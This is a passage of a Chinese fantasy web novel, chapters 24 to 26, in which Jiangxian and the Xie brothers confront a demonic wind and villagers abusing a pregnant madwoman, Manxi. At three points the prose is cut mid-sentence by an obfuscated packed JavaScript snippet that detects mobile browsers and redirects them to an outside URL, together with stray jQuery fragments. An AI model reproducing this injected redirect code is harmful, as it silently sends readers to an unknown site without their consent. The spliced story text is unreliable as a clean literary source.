暮色降临,一阵叽叽喳喳的叫声从树顶传来,绛仙站在院子里向北方眺望,皇城宫阙高且威严,翦星楼更是明显。 这让绛仙不禁好奇那位国师究竟是如何重伤那阵摸都摸不着的妖风的。 忽得,一阵不急不缓地脚步声传入她耳中,树顶上的鸟鸣也小了些许,取而代之的是扇动翅膀的噗噗声。 鸟雀被惊的飞走,谢如许似乎愣了一下。 “很晚了,绛仙姑娘要吃些东西吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850706|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 绛仙看着他,微微泛白的眸中带着关切,好像说的每一句话都带着真心,很难让别人对他产生怀疑和恶意。 前些日子她也有四处打听过谢家大公子的消息,所有人对他都是赞不绝口,无一例外。 说他将门之后,说他学富五车,说他温润如玉,说他乐善好施,那些人恨不得把这世上所有的好词好句都按在他身上,吹得和神仙一样。 绛仙却怎么看怎么不对,倒不是觉得其他人眼瞎看错了人,就是觉得他们面前的谢如许和自己面前的谢如许总是有些细小的差异。 但又很奇怪的,让她说不出来是哪里不对。 现在在她的心里,谢如许简直是一个把“莫名其妙”体现的淋漓尽致的人。 谢如许兀自笑着,一把剑却突然飞到了自己面前。他随手接过,掌心有些微微发热。 长睫颤了颤后,他道:“这是?” “我听说你之前武功不错,和我比试比试。”绛仙想要出招试探,却没想到对方叹着气摇头,“绛仙姑娘既打听到了我武功不错,那为何没听说我自从十七岁那年受伤后就无法提剑了?” 绛仙蹙眉,谢如许又装模作样咳嗽几声,道:“前些日子还受了伤,不过没关系,如果绛仙姑娘想,那我也愿舍命陪君子。” 绛仙愤愤放下了剑,道:“你装什么装?当我是傻子吗?第二次见你能轻松躲过我的招式,上一次又能隔着那么远的距离替谢如恙挡那一剑,你怎么可能受伤不能提剑?” 谢如许缓步上前双手递上剑,道:“真的,我不骗你。” “你!给我等着。”绛仙咬牙切齿,恨不得拿剑在这人身上戳几个窟窿给他好好放放血,但最后还是忍住了,等她拿到了玉桂枝,搞清楚这人的身份之后一定不会放过他的! 谢如许眨了眨眼,似乎看出了她的心中所想,轻轻笑了一声:“我等着。”停了一下后,他又带着笑意道,“小炮仗。” 这下可是把绛仙心里的火彻底点起来了,她一把揪住谢如许的衣领,恶狠狠地道:“你有本事再叫一次?谁是炮仗?” 谢如许本是安安稳稳站在绛仙身边的,两人之间也隔了一些距离,可是绛仙这么一拽,却是将两人之间的距离缩到极致。 以至于能清清楚楚地感受到对方的呼吸。 绛仙在气头上,全然没有注意这太过暧昧的距离,可谢如许就不同了。 呼吸交缠间,他嗅到了绛仙身上淡淡的安神香气,看到了绛仙带着稚气的双颊,和那双清澈的鹿瞳,他甚至顾不得去回应绛仙的话。 只感到一丝别样的情绪在心底泛起涟漪,破水而出,上升…… ——炸开! “大公子不好了大公子!” 谢如许被炸得一顿,转头去看火急火燎跑进院子的小厮。 他唇边的微笑有些僵硬:“何事如此慌张?” 小厮手上还捧着碗,脸上却是天崩地裂:“二公子他不见了!” 谢如许怔然:“什么?那长徽公子呢?” 小厮几乎要哭出来了:“他们都不见了!”他被吩咐了要看着谢如恙可是现在人没了,去了哪儿都不知道,让他怎么向主人交代? 虽然知道谢如许不会因此苛责下人,但他还是难掩心中急切。 出了岔子,绛仙心中的怒气顿时消散,只余无尽的愤懑。 不是都说好了不要出门的吗?大晚上的跑什么跑? “你先回去休息吧,别担心。”谢如许温声打发走了小厮,转头和绛仙对视一眼。 绛仙扶额冷笑一声:“我遇见你们真是倒了八辈子血霉!” 24. 追寻 马车再次停在村口,谢如许先一步下车,站在车边伸手准备去扶绛仙下来,可绛仙不领情,特地绕开他的手从另一边跳下了车。 黑夜笼罩下的村子更显寂静,主街道一眼就能望到头,街两边挂着的灯笼没几个好的,随着风飘来荡去,火光也是若隐若现,像一只只在黑夜里交替眨着的眼睛。 要找到谢如恙就必须先找到满喜,可那疯子四处逃窜的也没个定所,要想找她就必须绕着整个村子找一圈儿,很是麻烦。 绛仙四处瞧着,没见到几个人影,心情有些郁闷。 谢如许忽道:“你可知这村子叫什么名字?” 绛仙兴致缺缺,声音也有气无力:“我们不是来找人的吗?你说这个做什么?” 谢如许轻笑:“知己知彼嘛。”见绛仙不回话,他便自顾自地说了起来,“这村子叫月台村,古时这里曾有修有一座高塔,登而望月视野很是宽广,所以那座高塔被称作月台。可后来战火纷飞,那座塔被攻入城中的军队推倒。后来太祖来到此处,见往昔高塔变作断壁残垣甚是可惜便将此村取名为月台村。” “这和找人有关系吗?”绛仙问。 谢如许却道:“不要总是想着目的地,时而也要看看周围的风景不是吗?” “你亲弟弟失踪了,你就不着急?”绛仙反问。 “事已至此,我们应该相信阿恙和长徽公子。” 话音刚落,一阵凄厉的惨叫就传入了两人耳中。 绛仙先一步反应过来,快步朝着叫声传来的方向跑去,谢如许收起笑意紧随其后。 两人前后来到一户人家的后院,只见这家后门大开,门前围着几个人在努力拖拽着什么东西,那几个人的动作像是在拖拽一只肥美的年猪。 见手下东西挣扎,其中一人还呸了一声,嘴里念着:“死娘们,敢咬我,看老子不打死你!” 另一人小声劝道:“大哥轻点,当心她肚子里的孩子。” 这声音很熟悉,绛仙很快就想起了昨日见到的那个小胡子男人,再往四周一看,这不正是那男人的后院吗? 她眉间瞬间皱成川字,喝道:“你们在干什么?” 听到绛仙的声音,小胡子男人被吓了一跳,脱手的瞬间几人都听到了一声闷响 ——是人头重重砸在地上的声音。 “啊!”一声惨叫响起,方才开口咒骂的男人大喊着,“让这疯婆子松口,松口!” 谢如许看不下去,上前让其余几人先将人放下,然后托着她的头轻声劝她松口,被咬的男人还在不停咒骂,几乎将自己毕生所学的脏词都丢在了满喜身上。 谢如许听得眉头皱起,另一只空着的手并做掌,一掌劈在男人的小腿上。 男人尖叫一声后倒在地上,不可置信地看着谢如许,质问他:“你他娘的有病是不是?这疯婆子咬我你不打她你打我做什么?” 满喜松了口,谢如许放轻了动作将她扶起,然后对那男人说:“抱歉,天黑无灯,看错了。” 男人气不打一处来,正要开口叫骂却被小胡子捂住了嘴。 小胡子看着绛仙一时有些发怵,结结巴巴地解释道:“误会了,二位误会了。” 绛仙慢悠悠地走上前,瞥了满喜一眼后,问:“误会什么了?大晚上的你们几个男人对着她上下其手,你说我误会什么了?” “我们是听说她怀孕了,怕她在外头待着出事,所以才想着把她接回家里照顾她。”小胡子脸上带着讨好的笑意,不知是因为抬人累了还是因为害怕,额角还坠着汗珠。 “照顾她?照顾她用抬的用拉的用拽的?你当我傻还是当我瞎?”绛仙冷眼看着面前局促的男人,放在臂弯里的手早已紧紧握起,但意外的是她竟然忍住了怒气没有直接一拳打上去。 小胡子艰难地吞了吞口水,解释道:“您也知道她脑子有问题,听不懂人说话,我们就只能来硬的了。” 说完,他还小心翼翼地观察着绛仙的脸色。 月色映照下,少女带着稚气的脸半明半暗,双眼微眯,发出一声嘲讽似的笑:“哈,那可真是辛苦你们了,你们好生热心,好生善良啊,要不要当今圣上给你们写个匾挂在门上啊?” 小胡子颤抖着不敢说话,周围的人也都低着头暗暗观察四周,想着有什么办法能溜走。 可是这地方本就逼仄,绛仙站在一边,另一边又是谢如许和满喜,简直是插翅难逃,这让他们不由懊悔自己为什么要揽下这么个苦差事。 “你说你担心她怀孕出事?那好啊,我帮你们。”说着,绛仙抬起手来,亮白的莹光被托起。 小胡子颤颤巍巍地问:“你,你要做什么?” 绛仙挑眉,“当然是从源头上解决问题。”她轻笑一声,似乎对接下来要做的事情很是满意,“帮她拿掉这个孩子咯。” 闻言,小胡子连忙扑到满喜面前,道:“不可以,不可以。” “为什么不可以?”绛仙明知故问。 小胡子嘴唇颤抖,慌乱地解释道:“因为,因为那是一条命啊,一条命……” “命?一块意识都没有的烂肉,怎么就是命了?”绛仙居高临下看着他,道,“没怀孕的时候你把她当过街老鼠,怎么怀孕了就突然要善心大发带她回家了?嘶,我之前是不是没有问过,那她腹中的孩子,是谁的啊?” 小胡子眼底一震,愣了半晌后才疯狂摇着头,道:“不知道,我不知道。” 绛仙却坚决地道:“你知道。” 小胡子不说话了,他知道绛仙早就已经猜到了,再解释也没有什么用了。 满喜腹中的孩子,是他的孙子。 他的儿子痴傻,家里又穷,年过而立也没有哪家姑娘愿意嫁进来。他甚至不在乎嫁进来的姑娘是美是丑,是富是贫,他只想要一个孙子来继承家业。 等来等去,找来找去,他最后把目光放在了满喜身上。 一个疯子,就算是去向别人告状也没有人会相信;一个怀过孕的疯子,说明她有生产的能力;一个被人嫌弃的疯子,没有人会在意她的一举一动。 所以,满喜是他最好的选择。 “我会对她好的,我会给她名分的,我会把她当做儿媳来对待。求您,求您不要伤害我孙子!”小胡子苦苦哀求。 谢如许看向绛仙,见她面无表情地站着,便缓缓放开了扶着满喜的手,想要站在她身边。 没想到刚一放手,满喜就回过神一般尖叫地后退,嘴里喊着“不要杀我的孩子,不要动我的孩子”。 绛仙被惊到了,小胡子也成热打铁求饶道:“您看,您看她也想留下这个孩子,求求您,放了我们吧!” 场面一时僵住了,绛仙不解地看着满喜,不明白她为什么想留下这个孩子。 僵持半晌,绛仙徐徐放下了手,沉默地站着。 小胡子见此大喜过望,想要上前抱住绛仙的腿却被谢如许半路拦下。 还没等他说什么,满喜就疯了一般朝外跑去。 “不要,我要杀我的孩子!” “我的孩子哈哈哈哈哈哈……” 她又哭又笑,连蹦带跳地跑过了每一户人家,不少人被她的笑声和哭声吵醒,披上衣服外出查看。 有人愤怒:“这疯子大晚上嚎什么嚎?吵死人了!” 有人抱怨:“你们谁去让她闭嘴,我家孩子都被吵醒了。” 有人无奈:“算了算了,谁和我一起去拦一下她,可别跑林子里被狼给吃了。” 这人一呼百应,一时间周围身强力壮的男人们都把衣裳穿好准备去把满喜给控制起来。 小胡子看人越聚越多,不少人还疑惑满喜为什么大晚上的又喊又叫,一时惊慌,求助似的看向绛仙,希望她不要把真相说出来。 可绛仙视若无睹,越过他跟上那些人一起去找满喜。 所以,他只能把目光放在谢如许身上,他见这公子文质彬彬,不似恶人便上前扯住他的衣角,求道:“公子,公子你帮我劝劝,你们不要把真相说出来,我今后一定会好好对满喜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850707|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,求求你了。” 谢如许轻轻抽出衣角,声音还是如水一般的温柔:“我不信你,你最好也不要骗自己。” 说罢,他跟着绛仙的脚步翩然离去。 满喜原本是晃晃悠悠跑着的,但当她发现身后有人跟着的时候赶忙加快了速度,边跑还边往后扔着石头。 被砸中的人一边怒骂一边也跟着她加快了速度,想着快些把她抓起来快些回去睡觉。 可是满喜体能非常好,能比上一个常年在田间劳作的大汉,她若是放开了跑谁也抓不住她。 众人就这样一边抱怨一边跟着她往外跑,直到跑出村子。 有人气喘吁吁地骂道:“这死娘们大晚上跑什么跑?还说什么孩子,脑子又被什么东西给撞了吧!” 有人附和道:“就是,吵死了。丑人多作怪!诶,我去你大爷的,前头谁停下了?撞死我了。” 那人龇牙咧嘴地揉着脑袋,抬头往前头看去,只见满喜不知道什么时候停下来了。 走在最前头的几个人商量着要怎么把她抓起来,于海也是其中之一。 “丑吗?”满喜突然转身朝于海几人冲了过来,一张满是污垢与血色的脸猛得凑近,把几个男人吓了一跳。 满喜看到面前惊魂未定的几个人,嘻嘻笑道:“我真的丑吗?哪里丑?”她上下左右地摸着自己的脸,摸了一阵后双手张开放在自己面前,一边抚摸手背一边道,“嘻嘻,我知道了,是手丑!它有很多茧子,还有很多口子,一点也不纤细白嫩。” 说完,她将手揣进自己怀里,像是抱着心仪玩具的孩童一般:“可是,我锯木头的时候,爬树的时候它能保护我不被伤到。” 她又伸出了腿,道:“那是腿丑吗?它粗壮,一点儿也不纤细修长,可是多亏了它,我才能逃出一个吃人的地方,从很远的地方回到家。” 她们目光扫过在场的每一个人,在看到绛仙时一顿,随后很快地凑到她面前,盯着她的眼睛,道:“你的眼睛真好看,可我的眼睛没有你的好看,它浑浊不堪,周围还布满了细纹,可是它能让我看轻这个世界,看到花、草、小猫小狗……” 不知为何,此刻在场的所有人都鸦雀无声,甚至没有人上去拦她。 但紧接着,她做出了一个令所有人震惊的举动: 她扯开了自己的衣服,将自己的前胸大喇喇地展示在众人面前,惊得所有人都下意识闭上了眼。 她却好像发现了什么新奇的东西一样,痴痴发问:“你们为什么不敢看?你们又不是没见过。因为它丑吗?是,它是丑,可是你们当中很多人的孩子都是它喂养长大的,你们也都是被母亲喂养长大的,它丑也是因为你们,你们凭什么不敢看?!” 质问过后,她突然发出几声笑:“哈哈……哈哈哈……” 笑声越来越大,从一开始的断断续续变成了一阵尖锐刺耳,撕心裂肺的狂笑。 现在已经没人能分得清满喜是真疯还是假疯了,她毫不遮掩地袒露着自己的前胸和微微隆起的小腹。 “我会做木匠,我会耕地,我还能打水,我会的很多很多,你们为什么偏要盯着我的脸看,盯着我的身体看?!凭什么女人一定要漂亮?到底怎么样才算漂亮?你们说啊,你们说啊!” 她将面前的人一个一个扯过,质问他们什么才算漂亮,他自己漂不漂亮。 自始至终没有一个人回答她的问题。 “你们从女人的腹中诞生,啜饮她们的乳汁,啃食她们的血肉,反过来却要用‘漂亮’去约束她,凭什么?凭什么?!!” 她的质问掷地有声,下一瞬她身后却忽然卷起一阵狂风,来势汹汹地向众人袭来。 绛仙反应迅速,冲到她面前将她护在身后,顺手帮她拢住了衣裳。 随着风一起来的还有三个人影,他们被风卷着,其中一人张牙舞爪地朝着绛仙的方向砸来。 绛仙定睛认出了来人,拉着满喜往后退了几步,下一刻那人便重重砸在了人群里,接连发出两声痛苦的惨叫。 25. 形状 从那么高的地方砸下来,谢如恙竟然没有感到疼痛,他双手撑着爬起来,揉着头发出一声奇异的感叹。 下一刻,他身下就响起了一道对他来说颇为熟悉的声音:“诶呦,砸死我这把老骨头了!” 他连忙爬开,一脸惊讶地看着面前的老伯,道:“李伯?你这么在这儿?” 李良被几个男人七手八脚地搀起来,扶着自己的腰哎呦哎呦地叫着。 “还不是看你们俩一脸着急地往这边跑,我还以为有什么大事能让我说道说道呢,没想到被你这么一砸,我怕是几日都没法去说书咯!” 谢如恙这才想起来这位尽职尽责的说书人有个癖好:喜欢四处溜达收集说书的素材,按照他的话来说就是,采风?而谢如恙这个人又好热闹,可谓有大事的地方必然有他,两人同时出现在一个地方的次数不少,自然也就不奇怪了。 谢如恙有些抱歉地摸了摸脑袋,忽得又想起和自己一起被丢下来的长徽和另一个没看清楚的人,转过头去寻找两人的身影。 可人没找到,反倒是看到一棵树被妖风卷着,马上就要被扔下来。 他碰碰李良的胳膊,示意他往上看,道:“你说,这算不算大事?” 李良一抬头,三魂丢了七魄,怒吼道:“大事个屁啊?再不走变丧事了!” 说罢,他拉着谢如恙就要往后躲,可是此刻大家都注意到了向自己袭来的树,都慌不择路地往后跑,两人被夹在人堆里寸步难行。 惊慌之下,谢如恙大喊一声:“阿绛长徽兄救命啊!!!” 此时,谢如许一手扶着一个人,左手是唇边还挂着血痕的长徽,右手则是失踪的赵承胤,而绛仙站在众人前方,伸手护住身后痴痴笑着的满喜。 听到谢如恙的喊声,她嘴角抽了抽,随后唤出上弦月,一剑劈向那棵树。 下一瞬,那树便化作了点点木屑,就算是落在人脸上身上也只有一丝痒意,丝毫感受不到疼痛。 见危机解除,躁动的人群也平静了下来,每一个人都看向绛仙,或担忧或惊叹或后怕。 “那个叫于海的,带所有人走。”绛仙将满喜交到谢如恙手上,让他先带满喜回去,自己则是抛出双月,将妖力注入其中,充当屏障抵挡风和风中的异物。 于海被点了名,连忙应一声,带着众人前呼后拥地离开。 似乎是发现到嘴的食物即将逃走,那妖风加大了风力想要将人给吹回来,可是它又是个笨脑袋,只知道从众人的身后吹,吹得不少人双脚离地,往前踉跄。 目睹一个人男人差点被吹上天,谢如恙赶忙喊道:“大家把手牵起来!当心被风吹走!” 闻言,村民们都就近牵上了身边人的手,可是没有一个人愿意去牵谢如恙身边的满喜。 见此,于海放开身边两人的手,叮嘱他们要牵紧后逆风跑到谢如恙身边牵上了满喜的手,“快走吧,再不走我们所有人都要被吹跑了!” 飞沙走石间,谢如恙突然发现一件事:李良呢?! “李……”他吃了一大嘴的木屑和石块,“呸!李伯你人呢?” 回头一看,见李良正抱着一棵树,一手拿笔一手拿本,在不停地记录些什么。 谢如恙这一看头都大了:“你不是怕死吗?跑啊!” 李良头也不回,就连声音都是风吹进谢如恙耳中的:“不是有你那个朋友在吗?我怕什么?” “是啊有那位姑娘在他没事的。我们快走吧!”于海也劝道。 谢如恙不敢再犹豫,只能用力朝绛仙几人喊一声后转身离开,但很快他又发现了不对劲, 他刚刚是不是看到他哥了?! 他心跳一滞,一时竟是什么都顾不上了,放开手就朝着谢如许的方向跑去。 身后的于海还在急切地呼喊,迎面的风也吹得他睁不开眼睛。 好不容易走到谢如许和长徽身边,他抓上谢如许的胳膊道:“哥!你怎么在这儿?快走!” 谢如许眉头紧蹙,眼神一刻也没有离开绛仙,“我没事,阿恙听我的,你先带着长徽公子和陛下离开。”说着,他把昏迷不醒的赵承胤交到谢如恙手里。 “我不!哥你必须要走,你不能出事啊哥……”谢如恙一手撑着赵承胤一手想拉谢如许离开,可是对方却好似钉在了原地一般,一丝一毫都没动过。 这时,长徽也缓过了神,抬手擦掉唇边的血迹,将琼英剑递给两人,道:“你们两个都走,带着他一起。这是把灵剑,可以保护你们,我去帮绛仙姑娘。” 说罢,他就要挣脱开谢如许的手,朝着绛仙的方向去,可是下一瞬一巴掌就落在了他头上,谢如恙也莫名其妙地挨了一巴掌,痛呼一声。 绛仙想起赵袂说过这里设有禁制,这妖风出不去,只要先将所有人安全带出去,留这风自己玩就是。可没想到一回头就看到边上的三个人在演什么“你先走”“我先走”“我不走”“你不走我也不走”的戏码,差点没气个半死! 她揪住谢如恙的耳朵,喊道:“再不走你们就都别想走了!” 谢如恙被揪得大叫,长徽默默往后退了一步,撞上了谢如许。 谢如许敛眉道:“好了,我们一起走。” 他一发话,谢如恙连忙应是,绛仙也放开了谢如恙的耳朵。 长徽认真道:“我垫后。” 绛仙怒斥:“垫你大爷,也不看自己几斤几两,垫后?快走!” 被她这么一吼,长徽也不再说话了,等谢如恙把赵承胤甩到背上后带着其余两人埋头往前冲。 绛仙走在最后,等在出禁制的前一刻将双月唤回来。 忽得,身后传来一道雄厚的嗓音:“姑娘留步!” 她疑惑回头,只见狂风大作间,李良发丝乱舞,衣摆飞扬,一手纸笔,嘴角还沾着墨水。低着头看不清神色,步履沉重,俨然一副世外高人的模样。 绛仙站定了想看他到底要做什么,等李良走到她身边后伸出一只手拍了拍她的肩膀,然后大步往前一跨,长舒一口气: “有人在我后面放心多了!” 说罢,他便抱着自己的宝贝纸笔撒丫子往前跑,没过多久就超过了走在前面的谢如许三人。 绛仙嘴角抽了抽,在原地站了好一会儿才跟上去。 可事情却总是出乎她的意料,当她前脚踏出禁制准备收回双月的时候却看到本该离开的村民们被一阵从东南方向起的风给吹回来了。 她心下一凛,暗道不妙。 长徽率先跃过众人挡在东南方向,琼英出鞘,如冰晶般的银光闪动,他对绛仙道:“守住西北!” 绛仙也立刻明白了他的意思,回身收剑一气呵成。 两人各守一边,谢如许谢如恙两兄弟还有其他村民被护在两人之间。 不过风是挡住了,可两人拿着的两把剑却不是省油的灯:一个红光大亮,几乎要闪瞎众人的眼睛,另一个冰屑四溅,锋利细小,擦过脸就是一个口子。 谢如恙用手臂挡着脸,对着长徽大喊:“长徽兄,你的剑,掉屑!!!” 这一声几乎用尽了谢如恙全身的力气,怕是这辈子都喊不出第二遍了,可是长徽专心抵抗妖风,完全听不到他在说什么。 无奈之下,谢如恙只好继续喊:“你的剑掉屑啊!!!” 于海捂着耳朵,劝道:“掉就掉吧,谢公子你再喊我们耳朵就要聋了!” 闻言谢如恙低头看向众人,只见周围所有人都对着他点头,都在赞同于海的话。冰晶碎屑扎脸,玉剑剑光闪眼睛,谢如恙的叫声又刺耳朵,三管齐下,简直是不让人活命。 面对众人谴责的目光,谢如恙只好悻悻地闭上了嘴,可很快他就发现原本扎脸的冰晶不见了,剑光也暗了些许。 声音大果然有用,长徽和绛仙他们听到了! 他大喜过望,一抬眼又在人群中发现一个熟悉的身影。 “长公主殿下?”他愣愣叫出声,众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850708|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人也都循声望去,见赵袂不知何时出现在这里,此刻正负手立在众人身后。 听到“长公主”三个字,周围顿时鸦雀无声,大家都下意识地要跪,好在赵袂及时喊停。 赵袂走过众人来到谢如恙面前,谢如恙问道:“您怎么来了?”反应过来自己身上背着的小皇帝,他赶忙道,“您看,陛下找到了!” 赵袂忙接过赵承胤,上下查看一番后才解释道:“不放心想去谢府看看却听到下人说你们来这里了,所以我就来了。” 也不知道被风卷走的这些天赵承胤身上都发生了什么,现在他完全不省人事,想让他马上醒来时不可能了。 赵袂环视四周后将赵承胤就近交给一个妇人照顾,随后负手上前观察形势。 两面受敌,单靠绛仙和长徽这么挡着也不是办法,总得找到一个突破口的。 可是…… 她相信绛仙就算是要来捉妖也不会带着这么一群人一起,那就一定是这妖风自己过来的了。今年的供奉都已经给她了,她为什么还会出现呢? 赵袂问:“你们是做了什么才引它出来的?” 谢如恙摇头,解释自己原本和长徽一起在林子里找满喜,突然来了一阵风就把他们给吹回来了,自己什么都不知道。 赵袂只好回身去问身后的村民。 众人面面相觑,一时竟没有一个人回答,就连呼吸都格外的小心。 最后,还是于海站出来,对赵袂道:“回殿下,草民也不知道。” “不知道?”赵袂眸底沉沉。 人群中忽得有一人开口:“我怎么记得是这疯子叫完这风就出来了?” 一石激起千层浪,原本安静的村民们瞬间就炸开了锅:“对啊,好像她笑着笑着这风就起了。” “这风不会是她叫出来的吧?还特意往这边跑,她肯定是故意的!” “真是晦气!” …… 随意的一句话瞬间变成了对满喜一个人的讨伐。 赵袂揉着眉心,头疼道:“噤声,妖风来势汹汹,你们何必将错归于一个人头上?” 安静片刻,于海小心翼翼地开口:“殿下,草民记得这妖风之前是被国师大人制服的,不知您可有办法再将它给打回去?” 赵袂定下心神,迎上面前数道期盼的目光一时有点难以说出口。 毕竟,她连这东西是什么,因何出现都不知道。 她看向被谢如许搀扶着的满喜,心下难安却不敢表明,只好硬着头皮道:“各位放心,我自会给大家一个想要的结果。” 赵袂开口,村民们的心也都慢慢放了下来。 毕竟那可是长公主啊!十岁就能带着圣上南下返京,夺回皇位的长公主!怎么可能会连一只小小风妖都敌不过? 赵袂闭了闭眼,带着谢如恙走到谢如许和满喜面前。 谢如许嘴唇发白,面容有些憔悴,但看到赵袂过来依旧是恭恭敬敬地行了个礼。 赵袂看着满喜,道:“她就是满喜?” “对。”谢如许道。 赵袂又仔细看了看满喜,并没有发现什么不对劲,甚至连一丝被妖物浸染的气息都没有。 许是村民们误将巧合当做因果了吧…… 她轻轻叹了口气,看向绛仙的目光充满的担忧:“这东西无形又无体,如何才能将它制服呢?” 听她这么说,谢如恙一拍手掌,反驳道:“不对啊,它有形!” “有形?”赵袂忙转过头,问,“什么形状?你看到过?” 谢如恙点点头,蹲下身随后拿过一根被风吹来的树枝在地上涂涂画画,将那日他所见的那个“牛头”形状大体画了出来。 “就是这样!那晚就是这个形状出现之后我和陛下才被摄去了心智的。” 赵袂也跟着他蹲下身,手指在图画的边缘虚虚勾勒,心中涌上一丝熟悉的感觉。 这个形状,她似乎在哪里见到过? 26. 母亲 忽得,她脑内闪过一道虚影,猛地站起身来。 “我知道这是什么了!” 谢如恙忙站起身问:“这是什么?我怎么没见过?” 赵袂将目光投向绛仙的背影,笃定道:“胞宫。” 她唇角终于出现了一抹放松的笑意。 怪不得再心智坚定的人都无法抵御它,怪不得她这么多年来都没有找到风妖摄人心智的记载,原来是因为这东西根本就不是风! 无论是善是恶,是坚定还是懦弱,每个人都是从母亲的胞宫中诞生的,所以对每个人来说,没有什么东西能比母亲温暖的胞宫更能具有吸引力。 它甚至不需要什么奇异的香气或者其他诱惑,它存在本身就是一种吸引,没有人能拒绝它,没有人敢忤逆它。 虽然不知道这东西是因何存在的,但如今知道了它的形体也算是多了一个突破口。 “对了!如果这东西是胞宫的话……”谢如恙一拍脑袋,将满喜拉到身边,道,“她怀孕了!这风会不会和她有关?” 赵袂垂眸看向满喜微微隆起的小腹,思忖片刻后牵过她的手,对谢如恙说:“你先后退,我试试。” 谢如恙不知道她要做什么,但还是很放心地点了点头,退至谢如许身边。 对上谢如许的脸,他又惊叫一声:“哥!你怎么了?你脸色怎么这么白?” 谢如许呼吸格外的轻,他双唇紧紧抿起,对着谢如恙摇了摇头:“没事,许是站的时间久了。” 谢如恙还想说些什么,却被谢如许打断:“看,长公主。” 两人一同看去,只见赵袂牵着满喜,用自己的半边身体挡着她,正缓缓地朝着那风的方向走。 走近了些,她放大声音道:“绛仙姑娘,且先停一停!” 绛仙一顿,瞥了她一眼后收回了剑。 狂风顷刻嘶吼着涌来,众人都下意识地闭上了眼,可隔了许久都没有感到预想中的疼痛和拉扯。 大家接二连三的睁开眼睛,看到绛仙和长徽已然并排站立,而在两人前面的是赵袂和满喜。 出人意料的是,那风竟然在吹到满喜身边的时候变得轻柔起来,只卷起她耳边的发丝,好像是一只手温柔帮她理着头发。 满喜愣愣地站着,赵袂见这风确实没有伤她的意思便缓缓地放开了手,然后小心翼翼地退至一边。 满喜一个人迎着风,一双漆黑的眼睛也不知道该往哪里看,整个人显得局促又笨拙。 几刻前还在狂啸的风此刻竟像是一团棉花一样,轻柔地包裹着满喜,让她感到了一丝久违的温暖与亲切。 “娘?”她手指动了动,似乎想要抱住面前的东西。她问:“阿娘?是你吗?” 风当然没有办法回答,但她却已经确定了,面前的就是她的母亲。 一时间,周围的一切都慢了下来,静了下来。刚刚的一阵狂风吹开了挡在月亮前的黑云,此刻一轮极其圆满的月亮正挂在天上。 月下,所有人都静静地看着满喜的背影,一眨不眨。 “那是她的娘吗?”谢如恙轻轻拽了拽绛仙的袖子,压低声音问。 绛仙不答,身侧的手暗暗蜷起,掌心隐隐约约亮起一阵白光,却在下一瞬被另一只大手给握着,白光也随之熄灭。 绛仙转头,见谢如许正对着自己轻笑,她想挣扎,却被对方握得更紧,在感受到对方手心的凉意后,她不住打了个颤。 那风似乎只是想来看满喜一眼,没过多久就静静地消散了,只留下嘴角还带着笑的满喜一个人立在原地,孤零零的,和往常没什么区别。 只静了一会儿,她就忽然朝着一棵树冲了过去,好在赵袂及时拦住才没有让她撞在树上。 “我要找娘,我要找娘!”满喜哭闹着,像是一个出生不久,刚刚学会说话的孩童一样。 “那不是你娘。”赵袂向她解释。 满喜却执拗地反驳:“那就是娘,就是娘!” 在满喜的哭闹声中,长徽和谢如恙一起疏散了众人。 惊险刺激的前半夜算是过去了,此时一位身着紫袍的官员带着一队侍卫匆匆赶来,对赵袂行了一礼后道:“殿下,接下来的事情交由臣来解决就好。” 赵袂还死死握着满喜的手,见到来人有些诧异,问:“谁让你过来的?” 紫袍官员道:“是国师相告,可惜臣来迟了。” 赵袂动作轻柔地把满喜交给官员身后的侍卫,道:“不算迟,这姑娘身子不方便你需得好生关照。还有阿胤……”她不放心地朝赵承胤的方向看了一眼,嘱咐道,“路上当心。” 紫袍官员躬身道:“是。” 紫袍官员唇角的笑意在路过谢如许身边时消失殆尽,取而代之的是一声极近嘲讽的轻笑:“谢世侄,许久不见,今日怎么到这儿来了?” 谢如许从容回道:“见过凌伯父,许听闻此处有异像,前来一观。” 紫袍官员又嗤笑一声,眯着眼在谢如许身上看了一圈儿,道:“有病就好好在家里待着,别出来给别人添麻烦。” 这一句与几年前谢如许拒绝凌家亲事的托词如出一辙,不过此句更加直接,狠毒。 谢如恙闻言赶忙赶到自己兄长身旁,想帮他解难,可是却得到对方的眼神示意,让他不要开口。 而后,谢如许恭敬行了一礼,道:“多谢伯父教诲,许谨记。” 紫袍官员冷哼一声,甩袖带着侍卫们和满喜离开。 目睹全程的绛仙这才来到赵袂身边,问:“你要送她去哪儿?” “明书山庄。”怕绛仙不知道那是什么地方,赵袂还特意解释道,“街边流浪百姓甚多,方才那位凌大人便提议建一座山庄,以供这些百姓居住。” 